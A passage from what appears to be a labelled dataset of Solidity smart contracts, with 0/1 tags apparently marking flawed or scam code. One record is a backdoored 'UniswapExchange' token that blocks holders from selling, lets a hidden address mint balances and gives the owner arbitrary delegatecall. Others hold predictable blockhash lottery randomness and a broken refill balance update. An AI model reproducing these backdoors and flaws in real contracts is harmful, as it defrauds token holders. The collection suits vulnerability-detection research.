user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
function createProxy() external {
require(msg.sender == owner);
Proxy newProxy = new Proxy();
isProxy[address(newProxy)] = true;
}
} | 0 | 735 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,143 |
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token);
}
contract Token {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract SafeAddSub {
function safeToAdd(uint a, uint b) internal returns (bool) {
return (a + b > a);
}
function safeToSubtract(uint a, uint b) internal returns (bool) {
return (a >= b);
}
function safeAdd(uint a, uint b) internal returns (uint256) {
if (!safeToAdd(a, b)) throw;
return a + b;
}
function safeSubtract(uint a, uint b) internal returns (uint256) {
if (!safeToSubtract(a, b)) throw;
return a - b;
}
}
contract EthToken is Token, SafeAddSub {
string public constant name = "Ether Token Proxy";
string public constant symbol = "ETH";
uint8 public constant decimals = 18;
uint256 public constant baseUnit = 10**18;
mapping (address => uint256) _balanceOf;
mapping (address => mapping (address => uint256)) _allowance;
event Deposit(address indexed owner, uint256 amount);
event Withdrawal(address indexed owner, uint256 amount);
function totalSupply() constant returns (uint256 supply) {
return this.balance;
}
function () {
deposit();
}
function deposit() {
_balanceOf[msg.sender] = safeAdd(_balanceOf[msg.sender], msg.value);
Deposit(msg.sender, msg.value);
}
function redeem() {
withdraw(_balanceOf[msg.sender]);
}
function withdraw(uint256 _value) returns (bool success) {
_balanceOf[msg.sender] = safeSubtract(_balanceOf[msg.sender], _value);
if (!msg.sender.send(_value)) {
if (!msg.sender.call.gas(msg.gas).value(_value)()) throw;
}
Withdrawal(msg.sender, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return _balanceOf[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (_to == address(this) || _to == 0) {
return withdraw(_value);
} else {
_balanceOf[msg.sender] = safeSubtract(_balanceOf[msg.sender], _value);
_balanceOf[_to] = safeAdd(_balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (!safeToSubtract(_allowance[_from][msg.sender], _value)) throw;
if (_to == address(this) || _to == 0) {
if (!transferFrom(_from, msg.sender, _value)) throw;
withdraw(_value);
} else {
_balanceOf[_from] = safeSubtract(_balanceOf[_from], _value);
_balanceOf[_to] = safeAdd(_balanceOf[_to], _value);
_allowance[_from][msg.sender] = safeSubtract(_allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
}
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
_allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value) returns (bool success) {
if (approve(_spender, _value)) {
tokenRecipient(_spender).receiveApproval(msg.sender, _value, this);
return true;
}
throw;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return _allowance[_owner][_spender];
}
} | 1 | 2,106 |
pragma solidity ^0.4.23;
contract Win20ETH {
struct Comissions{
uint total;
uint referal;
uint nextJackpot;
}
uint adminComission;
Comissions comission;
uint ticketPrice;
uint blockOffset;
uint jackpot;
address owner;
mapping(address => uint) referalProfits;
address[] referals;
mapping(uint => Game) games;
event PurchaseError(address oldOwner, uint amount);
struct Game{
uint blockId;
address[] gamers;
mapping(address=>bool) pays;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
updateParams(0.005 ether, 1, 10, 5, 1);
adminComission =0;
}
function withdrawAdmin() public onlyOwner{
require(adminComission>0);
uint t = adminComission;
adminComission = 0;
owner.transfer(t);
}
function updateParams(
uint _ticketPrice,
uint _blockOffset,
uint _total,
uint _refPercent,
uint _nextJackpotPercent
) public onlyOwner {
ticketPrice = _ticketPrice;
comission.total = _total;
comission.referal = _refPercent;
comission.nextJackpot = _nextJackpotPercent;
blockOffset = _blockOffset;
}
function buyTicketWithRef(address _ref) public payable{
require(msg.value == ticketPrice);
bool found = false;
for(uint i=0; i< games[block.number+blockOffset].gamers.length;i++){
if( msg.sender == games[block.number+blockOffset].gamers[i]){
found = true;
break;
}
}
require(found == false);
jackpot+=msg.value;
games[block.number+blockOffset].gamers.push(msg.sender);
games[block.number+blockOffset].pays[msg.sender] = false;
if( _ref != address(0) && comission.referal>0){
referalProfits[_ref]+= msg.value*comission.referal/100;
bool _found = false;
for(i = 0;i<referals.length;i++){
if( referals[i] == _ref){
_found=true;
break;
}
}
if(!_found){
referals.push(_ref);
}
}
}
function buyTicket() public payable {
require(msg.value == ticketPrice);
bool found = false;
for(uint i=0; i< games[block.number+blockOffset].gamers.length;i++){
if( msg.sender == games[block.number+blockOffset].gamers[i]){
found = true;
break;
}
}
require(found == false);
jackpot+=msg.value;
games[block.number+blockOffset].gamers.push(msg.sender);
games[block.number+blockOffset].pays[msg.sender] = false;
}
function getLotteryAtIndex(uint _index) public view returns(
address[] _gamers,
uint _jackpot
) {
_gamers = games[_index].gamers;
_jackpot = jackpot;
}
function _checkWin( uint _blockIndex, address candidate) internal view returns(uint) {
uint32 blockHash = uint32(blockhash(_blockIndex));
uint32 hit = blockHash ^ uint32(candidate);
bool hit1 = (hit & 0xF == 0)?true:false;
bool hit2 = (hit1 && ((hit & 0xF0)==0))?true:false;
bool hit3 = (hit2 && ((hit & 0xF00)==0))?true:false;
bool _found = false;
for(uint i=0;i<games[_blockIndex].gamers.length;i++){
if(games[_blockIndex].gamers[i] == candidate) {
_found = true;
}
}
if(!_found) return 0;
uint amount = 0;
if ( hit1 ) amount = 2*ticketPrice;
if ( hit2 ) amount = 4*ticketPrice;
if ( hit3 ) amount = jackpot;
return amount;
}
function checkWin( uint _blockIndex, address candidate) public view returns(
uint amount
){
amount = _checkWin(_blockIndex, candidate);
}
function withdrawForWinner(uint _blockIndex) public {
require((block.number - 100) < _blockIndex );
require(games[_blockIndex].gamers.length > 0);
require(games[_blockIndex].pays[msg.sender]==false);
uint amount = _checkWin(_blockIndex, msg.sender) ;
require(amount>0);
address winner = msg.sender;
if( amount > jackpot) amount=jackpot;
if( amount == jackpot) amount = amount*99/100;
games[_blockIndex].pays[msg.sender] = true;
uint winnerSum = amount*(100-comission.total)/100;
uint techSum = amount-winnerSum;
winner.transfer( winnerSum );
for(uint i=0;i<referals.length;i++){
if( referalProfits[referals[i]]>0 && referalProfits[referals[i]]<techSum){
referals[i].transfer( referalProfits[referals[i]]);
techSum -= referalProfits[referals[i]];
referalProfits[referals[i]] = 0;
}
}
if( techSum > 0){
owner.transfer(techSum);
}
jackpot = jackpot-amount;
}
function getJackpot() public view returns(uint){
return jackpot;
}
function getAdminComission() public view returns(uint){
return adminComission;
}
function balanceOf(address _user) public view returns(uint) {
return referalProfits[_user];
}
function() public payable {
if( msg.sender != owner){
revert();
}
jackpot += msg.value;
}
} | 1 | 2,679 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner{
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool){
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ComissionList is Claimable {
using SafeMath for uint256;
struct Transfer {
uint256 stat;
uint256 perc;
}
mapping (string => Transfer) refillPaySystemInfo;
mapping (string => Transfer) widthrawPaySystemInfo;
Transfer transferInfo;
event RefillCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event WidthrawCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event TransferCommisionIsChanged(uint256 stat, uint256 perc);
function setRefillFor(string _paySystem, uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
refillPaySystemInfo[_paySystem].stat = _stat;
refillPaySystemInfo[_paySystem].perc = _perc;
RefillCommisionIsChanged(_paySystem, _stat, _perc);
}
function setWidthrawFor(string _paySystem,uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
widthrawPaySystemInfo[_paySystem].stat = _stat;
widthrawPaySystemInfo[_paySystem].perc = _perc;
WidthrawCommisionIsChanged(_paySystem, _stat, _perc);
}
function setTransfer(uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
transferInfo.stat = _stat;
transferInfo.perc = _perc;
TransferCommisionIsChanged(_stat, _perc);
}
function getRefillStatFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].perc;
}
function getRefillPercFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].stat;
}
function getWidthrawStatFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].perc;
}
function getWidthrawPercFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].stat;
}
function getTransferPerc() public view returns (uint256) {
return transferInfo.perc;
}
function getTransferStat() public view returns (uint256) {
return transferInfo.stat;
}
function calcWidthraw(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = widthrawPaySystemInfo[_paySystem].stat + (_value / 100 ) * widthrawPaySystemInfo[_paySystem].perc;
return _totalComission;
}
function calcRefill(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = refillPaySystemInfo[_paySystem].stat + (_value / 100 ) * refillPaySystemInfo[_paySystem].perc;
return _totalComission;
}
function calcTransfer(uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = transferInfo.stat + (_value / 100 ) * transferInfo.perc;
return _totalComission;
}
}
contract EvaCurrency is PausableToken, BurnableToken {
string public name = "EvaUSD";
string public symbol = "EUSD";
ComissionList public comissionList;
uint8 public constant decimals = 3;
mapping(address => uint) lastUsedNonce;
address public staker;
event Mint(address indexed to, uint256 amount);
function EvaCurrency(string _name, string _symbol) public {
name = _name;
symbol = _symbol;
staker = msg.sender;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function setComissionList(ComissionList _comissionList) onlyOwner public {
comissionList = _comissionList;
}
modifier onlyStaker() {
require(msg.sender == staker);
_;
}
function transferOnBehalf(address _to, uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(_to, _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcTransfer(_amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
lastUsedNonce[sender] = _nonce;
return true;
}
function withdrawOnBehalf(uint _amount, string _paySystem, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(address(0), _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcWidthraw(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[staker] = balances[staker].add(fee);
totalSupply_ =totalSupply_.sub(resultAmount);
Burn(sender, resultAmount);
return true;
}
function refill(address _to, uint256 _amount, string _paySystem) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
fee = comissionList.calcRefill(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[_to] = balances[staker].add(resultAmount);
balances[staker] = balances[staker].add(fee);
totalSupply_ = totalSupply_.add(_amount);
Mint(_to, resultAmount);
return true;
}
function changeStaker(address _staker) onlyOwner public returns (bool success) {
staker = _staker;
}
function getNullAddress() public view returns (address) {
return address(0);
}
} | 1 | 2,761 |
pragma solidity ^0.4.24;
contract MC2events {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is MC2events {}
contract MC2long is modularLong {
using SafeMath for *;
using NameFilter for string;
using MC2KeysCalcLong for uint256;
otherMC2 private otherMC2_;
DiviesInterface constant private Divies = DiviesInterface(0x33F43Dd20855979f617a983dDBcb4C1C0FA89B2e);
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x609e4bb4deE240485Fa546D2bEA2EfAE583E72aC);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xfEc91702792A45070AD7F4Bb07Ed678B863Bc722);
MC2SettingInterface constant private extSetting = MC2SettingInterface(0x8371c74F75274602Bdc4efaC209DA5B15E262E4e);
string constant public name = "MC2 COSMOS";
string constant public symbol = "MC2";
uint256 private rndExtra_ = extSetting.getLongExtra();
uint256 private rndGap_ = extSetting.getLongGap();
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => MC2datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => MC2datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => MC2datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => MC2datasets.TeamFee) public fees_;
mapping (uint256 => MC2datasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = MC2datasets.TeamFee(30,6);
fees_[1] = MC2datasets.TeamFee(43,0);
fees_[2] = MC2datasets.TeamFee(56,10);
fees_[3] = MC2datasets.TeamFee(43,8);
potSplit_[0] = MC2datasets.PotSplit(15,10);
potSplit_[1] = MC2datasets.PotSplit(25,0);
potSplit_[2] = MC2datasets.PotSplit(20,20);
potSplit_[3] = MC2datasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
